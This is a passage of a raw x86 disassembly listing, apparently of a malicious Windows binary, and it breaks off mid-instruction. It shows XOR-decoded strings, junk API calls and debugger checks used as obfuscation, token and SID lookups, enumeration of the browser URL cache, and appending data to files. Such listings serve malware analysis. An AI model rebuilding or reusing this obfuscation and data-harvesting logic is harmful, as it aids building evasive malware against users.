mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_44124C lea eax, ds:416300h[eax] push eax call sub_40C674 add esp, 0Ch xor edi, edi jmp short loc_404719 sub_4046D8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40470D loc_4046FF: ; CODE XREF: sub_40470D+Ej mov eax, dword_44124C add eax, edi lea eax, ds:416300h[eax] ; END OF FUNCTION CHUNK FOR sub_40470D ; =============== S U B R O U T I N E ======================================= sub_40470D proc near ; DATA XREF: sub_43E741+600o ; FUNCTION CHUNK AT 004046FF SIZE 0000000E BYTES movsx edx, byte ptr [eax] xor edx, 0ACh mov [eax], dl inc edi loc_404719: ; CODE XREF: sub_4046D8+25j cmp edi, esi jl short loc_4046FF mov dword ptr [ebp-4], 12Ch mov eax, dword_44124C add eax, esi mov byte ptr ds:dword_416300[eax], 0 xor edi, edi mov edi, dword_44124C add dword_44124C, 2 mov eax, dword_44124C add eax, 6 add eax, esi mov dword_44124C, eax cmp eax, 0E01h jle short loc_40475F and dword_44124C, 0 loc_40475F: ; CODE XREF: sub_40470D+49j mov dword ptr [ebp-8], 2EEh lea eax, dword_416300[edi] pop edi pop esi leave retn sub_40470D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404770 proc near ; CODE XREF: sub_4056EE+6EFp ; sub_4056EE+79Fp ... var_107 = byte ptr -107h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 124h push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C188 ; GetCurrentProcessId push [ebp+arg_4] push ebx call sub_40C6D4 add esp, 8 lea edi, [ebp+var_107] lea esi, aAKS ; "A k &s" movsd movsd sub_404770 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40479E proc near ; DATA XREF: sub_43E741+502o lea edi, [ebp-10Dh] lea esi, aMusr ; " musR" mov ecx, 3 rep movsw call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404896 lea edi, [ebp-10Fh] lea esi, byte_44125E xor ecx, ecx inc ecx rep movsb mov byte ptr [ebp-0FFh], 0 push 3 push offset aGjm ; "ƒ†Œ" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 10h call sub_40C194 ; GetCurrentThreadId mov byte ptr [ebp-10Eh], 0 jmp short loc_40485F ; --------------------------------------------------------------------------- loc_404804: ; CODE XREF: sub_40479E+C9j call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404858 push 4 push offset aII ; "‰ß‰Ï" call sub_4046D8 mov [ebp-114h], eax call sub_40C698 mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-114h] push edi lea edi, [ebp-0FFh] push edi call sub_40C6B0 add esp, 18h loc_404858: ; CODE XREF: sub_40479E+76j add byte ptr [ebp-10Eh], 1 loc_40485F: ; CODE XREF: sub_40479E+64j mov al, [ebp-10Eh] cmp al, 0Ah jb short loc_404804 call sub_40C194 ; GetCurrentThreadId lea eax, [ebp-0FFh] push eax push ebx call sub_40C6D4 call sub_40C188 ; GetCurrentProcessId push 3 push offset aMjg ; "Œ†ƒ" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 18h loc_404896: ; CODE XREF: sub_40479E+24j call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404982 mov byte ptr [ebp-111h], 58h add byte ptr [ebp-111h], 1 push 10h push offset aMiIIMsmiC ; "ÚÍÞŒ‰Ï‰Ï‰ÏŒ‘Œ‰Ù—" call sub_4046D8 mov [ebp-118h], eax call sub_40C698 mov [ebp-11Ch], eax call sub_40C698 mov [ebp-120h], eax call sub_40C698 mov [ebp-124h], eax call sub_40C698 mov ecx, 0EA60h cdq idiv ecx push edx mov edi, [ebp-124h] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-120h] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-11Ch] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx ; DATA XREF: sub_43E741+41Dr add edi, 61h push edi mov edi, [ebp-118h] push edi lea edi, [ebp-0FFh] push edi call sub_40C6B0 call sub_40C218 ; GetTickCount lea eax, [ebp-0FFh] push eax push ebx call sub_40C6D4 add esp, 28h mov word ptr [ebp-110h], 5C59h movzx eax, word ptr [ebp-110h] mov edx, eax add edx, eax mov eax, edx mov [ebp-110h], ax loc_404982: ; CODE XREF: sub_40479E+108j call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404A3E lea edi, [ebp-10Eh] lea esi, byte_44125F xor ecx, ecx inc ecx rep movsb push 0Ah push offset aGgiIIBj ; "ƒƒ‰Ï‰Ï‰Ï¡¦" call sub_4046D8 mov [ebp-118h], eax call sub_40C698 mov [ebp-11Ch], eax call sub_40C698 mov [ebp-120h], eax call sub_40C698 mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-120h] mov eax, edi mov ecx, 1Ah ; DATA XREF: sub_43E741+2Ao cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-11Ch] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp-118h] push edi lea edi, [ebp-0FFh] push edi call sub_40C6B0 mov eax, dword_441260 mov [ebp-112h], eax lea eax, [ebp-0FFh] push eax push ebx call sub_40C6D4 ; DATA XREF: sub_43F142+12o add esp, 24h loc_404A3E: ; CODE XREF: sub_40479E+1F4j call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404A66 push 2 push offset aBj ; "¡¦" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 10h loc_404A66: ; CODE XREF: sub_40479E+2B0j pop edi pop esi pop ebx leave retn sub_40479E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404A6B proc near ; CODE XREF: sub_4056EE+1A5p ; sub_4056EE+1C8p ... var_115 = byte ptr -115h var_10D = byte ptr -10Dh var_107 = byte ptr -107h var_104 = word ptr -104h var_FF = byte ptr -0FFh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 124h push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_104], 7A29h add [ebp+var_104], 764h push [ebp+arg_4] push ebx call sub_40C6D4 add esp, 8 lea edi, [ebp+var_107] lea esi, byte_441264 xor ecx, ecx inc ecx rep movsb call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404C50 lea edi, [ebp+var_115] lea esi, aHSl?2 ; "h&sL?2*" movsd movsd mov [ebp+var_FF], 0 push 5 push offset aRnbbm ; "Œ" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 10h mov [ebp+var_10D], 0 jmp loc_404C1A sub_404A6B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_404BA0 loc_404AF6: ; CODE XREF: sub_404BA0+82j call sub_40C1B8 ; RtlGetLastWin32Error call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404B4F push 4 push offset aII ; "‰ß‰Ï" call sub_4046D8 mov [ebp-11Ch], eax call sub_40C698 mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-11Ch] push edi lea edi, [ebp-0FFh] push edi call sub_40C6B0 add esp, 18h loc_404B4F: ; CODE XREF: sub_404BA0-95j call sub_40C194 ; GetCurrentThreadId call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404BA8 push 4 push offset aII ; "‰ß‰Ï" call sub_4046D8 mov [ebp-120h], eax call sub_40C698 mov ecx, 1Ah cdq idiv ecx ; END OF FUNCTION CHUNK FOR sub_404BA0 ; =============== S U B R O U T I N E ======================================= sub_404B85 proc near ; DATA XREF: .data:0043F39Eo ; .data:0043F3C5o ... mov edi, edx add edi, 41h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-120h] push edi lea edi, [ebp-0FFh] push edi sub_404B85 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404BA0 proc near ; DATA XREF: sub_43F142+143o ; FUNCTION CHUNK AT 00404AF6 SIZE 0000008F BYTES call sub_40C6B0 add esp, 18h loc_404BA8: ; CODE XREF: sub_404BA0-3Cj mov word ptr [ebp-118h], 2BA1h sub word ptr [ebp-118h], 3212h call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 7 jge short loc_404C0E push 4 push offset aII ; "‰ß‰Ï" call sub_4046D8 mov [ebp-124h], eax call sub_40C698 mov ecx, 9 cdq idiv ecx mov edi, edx add edi, 30h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-124h] push edi lea edi, [ebp-0FFh] push edi call sub_40C6B0 add esp, 18h loc_404C0E: ; CODE XREF: sub_404BA0+2Aj call sub_40C188 ; GetCurrentProcessId add byte ptr [ebp-10Dh], 1 loc_404C1A: ; CODE XREF: sub_404A6B+86j mov al, [ebp-10Dh] cmp al, 0Ah jb loc_404AF6 lea eax, [ebp-0FFh] push eax push ebx call sub_40C6D4 push 4 push offset aBbtm ; "’Œ" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 18h call sub_40C2B4 ; IsDebuggerPresent loc_404C50: ; CODE XREF: sub_404A6B+4Ej call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge loc_404DCA call sub_40C218 ; GetTickCount mov byte ptr [ebp-0FFh], 0 call sub_40C1F4 ; GetProcessHeap mov byte ptr [ebp-10Dh], 0 jmp loc_404D9F sub_404BA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_404D49 loc_404C83: ; CODE XREF: sub_404D49+5Ej mov dword ptr [ebp-114h], 59DAh add dword ptr [ebp-114h], 6509h call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 4 jge short loc_404CEB push 4 push offset aII ; "‰ß‰Ï" call sub_4046D8 mov [ebp-118h], eax call sub_40C698 mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 61h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-118h] push edi lea edi, [ebp-0FFh] push edi call sub_40C6B0 add esp, 18h loc_404CEB: ; CODE XREF: sub_404D49-A2j call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 4 jge short loc_404D3F push 4 push offset aII ; "‰ß‰Ï" call sub_4046D8 mov [ebp-11Ch], eax call sub_40C698 mov ecx, 1Ah cdq idiv ecx mov edi, edx add edi, 41h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-11Ch] push edi lea edi, [ebp-0FFh] push edi call sub_40C6B0 ; END OF FUNCTION CHUNK FOR sub_404D49 ; =============== S U B R O U T I N E ======================================= sub_404D3C proc near ; DATA XREF: .data:0043EF84o add esp, 18h loc_404D3F: ; CODE XREF: sub_404D49-4Ej call sub_40C2B4 ; IsDebuggerPresent call sub_40C698 sub_404D3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404D49 proc near ; DATA XREF: .data:0043EF2Ao ; FUNCTION CHUNK AT 00404C83 SIZE 000000B9 BYTES mov ecx, 0Ah cdq idiv ecx cmp edx, 3 jge short loc_404D98 push 4 push offset aII ; "‰ß‰Ï" call sub_4046D8 mov [ebp-120h], eax call sub_40C698 mov ecx, 9 cdq idiv ecx mov edi, edx add edi, 30h push edi lea edi, [ebp-0FFh] push edi mov edi, [ebp-120h] push edi lea edi, [ebp-0FFh] push edi call sub_40C6B0 add esp, 18h loc_404D98: ; CODE XREF: sub_404D49+Bj add byte ptr [ebp-10Dh], 1 loc_404D9F: ; CODE XREF: sub_404BA0+DEj mov al, [ebp-10Dh] cmp al, 32h jb loc_404C83 lea eax, [ebp-0FFh] push eax push ebx call sub_40C6D4 add esp, 8 mov ax, word_44126D mov [ebp-10Fh], ax loc_404DCA: ; CODE XREF: sub_404BA0+C0j call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404DF2 push 4 push offset aRT ; "ÎÞ’" sub_404D49 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404DE3 proc near ; DATA XREF: sub_43E2F0+6o call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 10h loc_404DF2: ; CODE XREF: sub_404D49+91j call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404E1A push 3 push offset aRT_4 ; "Î’" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 10h loc_404E1A: ; CODE XREF: sub_404DE3+1Fj call sub_40C194 ; GetCurrentThreadId call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404E47 push 3 push offset aRT_3 ; "Ù’" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 10h loc_404E47: ; CODE XREF: sub_404DE3+4Cj mov word ptr [ebp-102h], 642Bh movzx eax, word ptr [ebp-102h] mov edx, eax add edx, eax mov eax, edx mov [ebp-102h], ax call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404E8C push 3 push offset aRT_1 ; "Å’" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 10h loc_404E8C: ; CODE XREF: sub_404DE3+91j call sub_40C1B8 ; RtlGetLastWin32Error call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404EB9 push 4 push offset aRgT ; "ƒÅ’" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 10h loc_404EB9: ; CODE XREF: sub_404DE3+BEj lea edi, [ebp-10Ch] lea esi, aUwV ; "uW V" mov ecx, 5 rep movsb call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404EF4 push 4 push offset aRgT_0 ; "ƒÎ’" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 10h loc_404EF4: ; CODE XREF: sub_404DE3+F9j call sub_40C1B8 ; RtlGetLastWin32Error call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404F21 push 4 push offset aRgT_1 ; "ƒÙ’" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 10h loc_404F21: ; CODE XREF: sub_404DE3+126j call sub_40C218 ; GetTickCount call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404F4E push 7 push offset aRgT_2 ; "ƒÊÃÂØ’" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 10h loc_404F4E: ; CODE XREF: sub_404DE3+153j mov word ptr [ebp-106h], 3E5Ch sub word ptr [ebp-106h], 60FEh call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404F88 push 8 push offset aRT_0 ; "ÏÉÂØÉÞ’" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 10h loc_404F88: ; CODE XREF: sub_404DE3+18Dj call sub_40C218 ; GetTickCount call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404FB5 push 9 push offset aRgT_3 ; "ƒÏÉÂØÉÞ’" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 10h loc_404FB5: ; CODE XREF: sub_404DE3+1BAj call sub_40C2B4 ; IsDebuggerPresent call sub_40C698 mov ecx, 0Ah cdq idiv ecx cmp edx, 5 jge short loc_404FE2 push 2 push offset aBj ; "¡¦" call sub_4046D8 push eax push ebx call sub_40C6D4 add esp, 10h loc_404FE2: ; CODE XREF: sub_404DE3+1E7j pop edi pop esi pop ebx leave retn sub_404DE3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FE7 proc near ; CODE XREF: sub_40507F+5Ap ; sub_40507F+8Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_44127C lea eax, ds:435150h[eax] push eax call sub_40C674 add esp, 0Ch xor edi, edi jmp short loc_405028 ; --------------------------------------------------------------------------- loc_40500E: ; CODE XREF: sub_404FE7+43j mov eax, dword_44127C add eax, edi lea eax, ds:435150h[eax] movsx edx, byte ptr [eax] xor edx, 0ACh mov [eax], dl inc edi loc_405028: ; CODE XREF: sub_404FE7+25j cmp edi, esi jl short loc_40500E mov [ebp+var_4], 12Ch mov eax, dword_44127C add eax, esi mov byte ptr ds:dword_435150[eax], 0 xor edi, edi mov edi, dword_44127C add dword_44127C, 2 mov eax, dword_44127C add eax, 6 add eax, esi mov dword_44127C, eax cmp eax, 0E01h jle short loc_40506E and dword_44127C, 0 loc_40506E: ; CODE XREF: sub_404FE7+7Ej mov [ebp+var_8], 2EEh lea eax, dword_435150[edi] pop edi pop esi leave retn sub_404FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40507F proc near ; CODE XREF: sub_405217+80p var_2C = dword ptr -2Ch var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi call sub_40C188 ; GetCurrentProcessId lea edi, [ebp+var_1C] lea esi, aAKS_0 ; "A k &s" movsd movsd xor ebx, ebx inc ebx push [ebp+arg_0] call sub_40C5FC ; GetSidIdentifierAuthority mov [ebp+var_14], eax mov eax, dword_441288 mov [ebp+var_20], eax push [ebp+arg_0] call sub_40C614 ; GetSidSubAuthorityCount movzx edi, byte ptr [eax] mov [ebp+var_10], edi mov eax, 0Ch mul [ebp+var_10] mov [ebp+var_24], eax add eax, 1Ch mov [ebp+var_C], eax call sub_40C218 ; GetTickCount push 6 push offset byte_44630B call sub_404FE7 push ebx push eax push [ebp+arg_4] call sub_40C4E8 ; wsprintfA add esp, 14h mov [ebp+var_C], eax add eax, [ebp+arg_4] mov [ebp+var_8], eax mov eax, [ebp+var_14] cmp byte ptr [eax], 0 jnz short loc_405102 cmp byte ptr [eax+1], 0 jz short loc_405160 loc_405102: ; CODE XREF: sub_40507F+7Bj call sub_40C2B4 ; IsDebuggerPresent push 20h push offset aIUIUIUIUIUIU ; "œÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ" call sub_404FE7 mov edi, [ebp+var_14] movzx esi, byte ptr [edi+5] movzx esi, si push esi movzx esi, byte ptr [edi+4] movzx esi, si push esi movzx esi, byte ptr [edi+3] movzx esi, si push esi movzx esi, byte ptr [edi+2] movzx esi, si push esi movzx esi, byte ptr [edi+1] movzx esi, si push esi movzx edi, byte ptr [edi] movzx edi, di push edi push eax push [ebp+var_8] call sub_40C4E8 ; wsprintfA add esp, 28h mov ebx, eax add [ebp+var_C], ebx mov eax, ebx add eax, [ebp+var_8] mov [ebp+var_8], eax jmp short loc_4051BC ; --------------------------------------------------------------------------- loc_405160: ; CODE XREF: sub_40507F+81j mov [ebp+var_26], 5E65h movzx eax, [ebp+var_26] imul eax, 686Ah mov [ebp+var_26], ax push 3 push offset aI_2 ; "‰ÀÙ" call sub_404FE7 mov edi, [ebp+var_14] movzx esi, byte ptr [edi+5] movzx edx, byte ptr [edi+4] shl edx, 8 add esi, edx movzx edx, byte ptr [edi+3] shl edx, 10h add esi, edx movzx edi, byte ptr [edi+2] shl edi, 18h add esi, edi push esi push eax push [ebp+var_8] call sub_40C4E8 ; wsprintfA add esp, 14h mov ebx, eax add [ebp+var_C], ebx mov eax, ebx add eax, [ebp+var_8] mov [ebp+var_8], eax loc_4051BC: ; CODE XREF: sub_40507F+DFj and [ebp+var_4], 0 jmp short loc_40520A ; --------------------------------------------------------------------------- loc_4051C2: ; CODE XREF: sub_40507F+191j mov byte ptr [ebp+var_26+1], 58h add byte ptr [ebp+var_26+1], 1 push 4 push offset aBi ; "‰ÀÙ" call sub_404FE7 mov [ebp+var_2C], eax push [ebp+var_4] push [ebp+arg_0] call sub_40C608 ; GetSidSubAuthority push dword ptr [eax] mov edi, [ebp+var_2C] push edi push [ebp+var_8] call sub_40C4E8 ; wsprintfA add esp, 14h mov ebx, eax call sub_40C218 ; GetTickCount add [ebp+var_C], ebx mov eax, ebx add eax, [ebp+var_8] mov [ebp+var_8], eax inc [ebp+var_4] loc_40520A: ; CODE XREF: sub_40507F+141j mov eax, [ebp+var_10] cmp [ebp+var_4], eax jb short loc_4051C2 pop edi pop esi pop ebx leave retn sub_40507F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405217 proc near ; CODE XREF: sub_406081+20Dp var_10 = byte ptr -10h var_A = word ptr -0Ah var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push edi mov [ebp+var_1], 0B5h movzx eax, [ebp+var_1] imul eax, 5C59h mov [ebp+var_1], al call sub_40C188 ; GetCurrentProcessId mov edi, eax push edi push 0 push 1F0FFFh call sub_40C2F0 ; OpenProcess mov edi, eax call sub_40C1F4 ; GetProcessHeap lea eax, [ebp+var_8] ; DATA XREF: sub_43F54Dr push eax push 0F00FFh ; DATA XREF: sub_43F559r push edi loc_405254: ; DATA XREF: sub_43F565r sub_43F571r call sub_40C584 ; OpenProcessToken push edi call sub_40C1DC ; DATA XREF: sub_43F57Dr call sub_40C188 ; DATA XREF: sub_43F589r loc_405264: ; DATA XREF: sub_43F595r sub_43F5A1r mov eax, dword_441278 add eax, 3FF1h ; DATA XREF: sub_43F5ADr push eax push 40h ; DATA XREF: sub_43F5B9r call sub_40C2CC ; DATA XREF: sub_43F5C5r mov edi, eax loc_405278: ; DATA XREF: sub_43F5D1r lea eax, [ebp+var_10] push eax loc_40527C: ; DATA XREF: sub_43F5DDr sub_43F5E9r mov eax, dword_441278 add eax, 3FF1h ; DATA XREF: sub_43F5F5r push eax push edi push 1 push [ebp+var_8] call sub_40C590 ; DATA XREF: sub_43F601r push [ebp+arg_0] push dword ptr [edi] call sub_40507F loc_40529C: ; DATA XREF: sub_43F60Dr add esp, 8 mov [ebp+var_A], 764h movzx eax, [ebp+var_A] ; DATA XREF: sub_43F6C9r imul eax, 5860h ; DATA XREF: sub_43F6D5r mov [ebp+var_A], ax ; DATA XREF: sub_43F6E1r push edi loc_4052B4: ; DATA XREF: sub_43F6EDr sub_43F6F9r call sub_40C2D8 ; LocalFree call sub_40C194 ; DATA XREF: sub_43F705r push [ebp+var_8] ; DATA XREF: sub_43F711r call sub_40C1DC ; DATA XREF: sub_43F71Dr call sub_40C2B4 ; DATA XREF: sub_43F729r pop edi locret_4052CC: ; DATA XREF: sub_43F735r leave retn sub_405217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4052CE proc near ; CODE XREF: sub_405409+4Fp ; sub_405409+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp ; DATA XREF: sub_43F741r push ecx push esi push edi loc_4052D4: ; DATA XREF: sub_43F74Dr mov esi, [ebp+arg_4] push esi loc_4052D8: ; DATA XREF: sub_43F759r push [ebp+arg_0] mov eax, dword_441294 ; DATA XREF: sub_43F765r loc_4052E0: ; DATA XREF: sub_43F771r sub_43F77Dr lea eax, ds:418410h[eax] push eax loc_4052E8: ; DATA XREF: sub_43F789r sub_43F795r call sub_40C674 add esp, 0Ch loc_4052F0: ; DATA XREF: sub_43F7A1r sub_43F7ADr mov [ebp+var_4], 52h xor edi, edi ; DATA XREF: sub_43F7B9r jmp short loc_405315 ; --------------------------------------------------------------------------- loc_4052FB: ; CODE XREF: sub_4052CE+49j mov eax, dword_441294 add eax, edi lea eax, ds:418410h[eax] ; DATA XREF: sub_43F7C5r ; sub_43F7D1r movsx edx, byte ptr [eax] loc_40530C: ; DATA XREF: sub_43F7DDr sub_43F7E9r xor edx, 0A7h mov [eax], dl loc_405314: ; DATA XREF: sub_43F7F5r inc edi loc_405315: ; CODE XREF: sub_4052CE+2Bj cmp edi, esi jl short loc_4052FB ; DATA XREF: sub_43F801r mov eax, dword_441294 ; DATA XREF: sub_43F80Dr add eax, esi loc_405320: ; DATA XREF: sub_43F819r sub_43F825r mov byte ptr ds:dword_418410[eax], 0 xor edi, edi mov edi, dword_441294 loc_405330: ; DATA XREF: sub_43F831r sub_43F83Dr add dword_441294, 2 mov eax, dword_441294 ; DATA XREF: sub_43F849r loc_40533C: ; DATA XREF: sub_43F855r lea eax, [eax+esi+5] loc_405340: ; DATA XREF: sub_43F861r sub_43F86Dr mov dword_441294, eax inc dword_441294 ; DATA XREF: sub_43F879r cmp dword_441294, 0DD6h ; DATA XREF: sub_43F885r ; sub_43F891r ... jle short loc_40535E and dword_441294, 0 ; DATA XREF: sub_43F8A9r loc_40535E: ; CODE XREF: sub_4052CE+87j lea eax, dword_418410[edi] loc_405364: ; DATA XREF: sub_43F8B5r pop edi pop esi leave retn sub_4052CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405368 proc near ; CODE XREF: sub_4063A9+46Ap ; sub_4063A9+487p ; DATA XREF: ... var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_8 = byte ptr -8 var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h ; DATA XREF: sub_43F8CDr push ebx push esi loc_405370: ; DATA XREF: sub_43F8D9r push edi lea edi, [ebp+var_3] loc_405374: ; DATA XREF: sub_43F8E5r sub_43F8F1r lea esi, byte_44129C xor ecx, ecx loc_40537C: ; DATA XREF: sub_43F8FDr inc ecx rep movsb lea edi, [ebp+var_D] ; DATA XREF: sub_43F909r lea esi, aARc ; DATA XREF: j_aARcr ; "a`rc" loc_405388: ; DATA XREF: sub_43F921r sub_43F92Dr mov ecx, 5 rep movsb push 0 ; DATA XREF: sub_43F939r push 80h ; DATA XREF: sub_43F945r push 4 loc_405398: ; DATA XREF: sub_43F951r push 0 push 0 push 0C0000000h push [ebp+arg_0] call sub_40C2FC ; CreateFileA mov ebx, eax mov [ebp+var_2], 5481h sub [ebp+var_2], 4D02h cmp ebx, 0FFFFFFFFh jnz short loc_4053C0 xor eax, eax jmp short loc_405404 ; --------------------------------------------------------------------------- loc_4053C0: ; CODE XREF: sub_405368+52j call sub_40C1F4 ; GetProcessHeap push 2 push 0 push 0 push ebx call sub_40C32C ; SetFilePointer lea edi, [ebp+var_E] lea esi, byte_4412A2 xor ecx, ecx inc ecx rep movsb push 0 lea eax, [ebp+var_8] push eax push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_40C3B0 ; WriteFile call sub_40C224 ; GetVersion push ebx call sub_40C1DC ; CloseHandle call sub_40C218 ; GetTickCount xor eax, eax inc eax loc_405404: ; CODE XREF: sub_405368+56j pop edi pop esi pop ebx leave retn sub_405368 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405409 proc near ; CODE XREF: sub_4063A9+3CEp var_2F5D = byte ptr -2F5Dh var_2F5C = byte ptr -2F5Ch var_2F5B = byte ptr -2F5Bh var_2F5A = word ptr -2F5Ah var_2F58 = dword ptr -2F58h var_2F51 = byte ptr -2F51h var_2F50 = byte ptr -2F50h var_2F48 = word ptr -2F48h var_2F46 = word ptr -2F46h var_2F43 = byte ptr -2F43h var_1F44 = dword ptr -1F44h var_1F40 = byte ptr -1F40h var_1F3C = dword ptr -1F3Ch var_1F38 = dword ptr -1F38h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2F60h call sub_40C118 push ebx push esi push edi call sub_40C2B4 ; IsDebuggerPresent lea edi, [ebp+var_2F50] lea esi, byte_4412A3 movsd movsd lea edi, [ebp+var_2F51] lea esi, byte_4412AB xor ecx, ecx inc ecx rep movsb push [ebp+arg_0] lea eax, [ebp+var_2F43] push eax call sub_40C138 call sub_40C2B4 ; IsDebuggerPresent push 1 push offset aS ; "˜" call sub_4052CE mov edi, 0Bh sub edi, dword_441290 push edi push eax lea edi, [ebp+var_2F43] push edi call sub_40181E add esp, 14h mov edi, eax mov [ebp+var_2F48], di movzx eax, [ebp+var_2F48] cmp eax, 0FFFFh jz short loc_40549F movzx eax, [ebp+var_2F48] mov [ebp+eax+var_2F43], 0 loc_40549F: ; CODE XREF: sub_405409+85j call sub_40C194 ; GetCurrentThreadId mov [ebp+var_1F44], 1F40h call sub_40C218 ; GetTickCount push 3 push offset aNin ; "‰" call sub_4052CE add esp, 8 lea edi, [ebp+var_1F44] push edi lea edi, [ebp+var_1F40] push edi push eax call sub_40B698 ; FindFirstUrlCacheEntryA mov ebx, eax or eax, eax jz loc_4055FB mov [ebp+var_2F46], 174Fh movzx eax, [ebp+var_2F46] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2F46], ax lea eax, [ebp+var_2F43] push eax push [ebp+var_1F3C] call sub_40C644 add esp, 8 or eax, eax jnz short loc_405536 call sub_40C224 ; GetVersion push [ebp+var_1F38] push [ebp+arg_4] call sub_40C138 call sub_40C224 ; GetVersion xor eax, eax inc eax jmp loc_4055FB ; --------------------------------------------------------------------------- loc_405536: ; CODE XREF: sub_405409+10Bj ; sub_405409:loc_4055F4j mov 